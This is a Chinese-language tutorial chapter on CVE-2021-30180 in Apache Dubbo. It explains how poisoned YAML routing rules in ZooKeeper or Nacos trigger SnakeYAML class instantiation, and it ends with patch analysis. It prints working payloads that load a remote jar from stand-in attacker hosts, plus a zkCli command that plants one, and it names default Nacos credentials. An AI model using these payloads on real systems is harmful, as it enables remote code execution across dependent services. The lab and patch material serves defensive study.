Dubbo漏洞 - 10 CVE-2021-30180

CVE-2021-30180 — YAML 路由规则注入(配置中心投毒)

漏洞概述

CVE 编号:CVE-2021-30180

CVSS 评分:9.8(Critical)

影响版本:Dubbo 2.6.0 ~ 2.6.9, 2.7.0 ~ 2.7.8

修复版本:2.7.9

攻击入口:配置中心(ZooKeeper/Nacos)

攻击类型:不同于之前的直接反序列化,这是通过投毒配置中心间接攻击

漏洞原理

背景:Dubbo 的路由规则

Dubbo 支持通过配置中心下发路由规则

路由规则存储在 ZooKeeper/Nacos 中,格式为 YAML

Consumer 从配置中心拉取规则并解析

用于控制流量路由(如灰度发布、A/B 测试)

根因:SnakeYAML 的危险默认行为

Dubbo 使用 SnakeYAML 解析路由规则

SnakeYAML 默认的 Constructor 类支持 YAML 全局标签!!

!! 标签可以实例化任意 Java 类

1
2
3
4
5
6
7
8
9
10
11
12
# 正常的路由规则
force: true
runtime: true
conditions:
- "host != 10.0.0.1 =>"

# 恶意的路由规则 — 通过 !! 标签实例化任意类
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/evil.jar"]
]]
]

攻击链

1
2
3
4
5
6
7
攻击者写入恶意 YAML 到配置中心
→ Consumer/Provider 拉取路由规则
→ SnakeYAML.load(maliciousYaml)
Constructor 处理 !! 标签
→ 实例化 javax.script.ScriptEngineManager
→ 加载 attacker.com/evil.jar
RCE

ZooKeeper 中的路由规则路径

1
2
/dubbo/config/dubbo/org.apache.dubbo.demo.DemoService.tag-router
/dubbo/config/dubbo/org.apache.dubbo.demo.DemoService.condition-router

攻击前提

攻击者需要能写入配置中心

常见场景:

ZooKeeper 无认证(默认配置)— 任何人都可以读写

Nacos 默认凭据(nacos/nacos)

内网环境中配置中心暴露

这是一种供应链攻击思路:攻击配置中心 → 间接攻击所有依赖它的服务

复现步骤

环境搭建

1
2
cd environments/cve-2021-30180
docker-compose up -d

步骤一:连接 ZooKeeper

1
2
# 使用 zkCli 连接
docker exec -it zookeeper /apache-zookeeper-3.7.0-bin/bin/zkCli.sh

步骤二:写入恶意路由规则

1
2
3
# 在 zkCli 中执行:
# 创建路由规则节点(路径根据实际服务名调整)
create /dubbo/config/dubbo/com.vuln.api.DemoService.tag-router "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader !!java.net.URL [\"http://attacker:8888/evil.jar\"]]"

步骤三:触发

Consumer 从 ZooKeeper 拉取路由规则时自动触发

或者 Provider 重启/重新加载配置时触发

另一种 payload:直接执行命令

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker:8888/"]
]]
]

攻击者在 http://attacker:8888/ 上放置恶意 jar

jar 中的 META-INF/services/javax.script.ScriptEngineFactory 指向恶意类

恶意类的构造函数或 static 块执行命令

补丁分析

Dubbo 2.7.9 修复

将 SnakeYAML 的 Constructor 替换为 SafeConstructor

SafeConstructor 不支持 !! 全局标签

修复代码

1
2
3
4
5
6
7
// 修复前
Yaml yaml = new Yaml(new Constructor()); // 允许 !! 标签
Object obj = yaml.load(content);

// 修复后
Yaml yaml = new Yaml(new SafeConstructor()); // 禁止 !! 标签
Object obj = yaml.load(content);

思考与延伸

SnakeYAML 漏洞是一个通用问题,不仅影响 Dubbo

很多 Java 项目使用 SnakeYAML 解析配置,都可能存在类似问题

SnakeYAML 2.0 已将默认 Constructor 改为 SafeConstructor

配置中心的安全性经常被忽视,但它是微服务架构中的关键基础设施

攻击者控制了配置中心 = 控制了所有依赖它的微服务


上一章 目录 下一章
09-CVE-2021-30179 Dubbo漏洞 11-CVE-2021-30181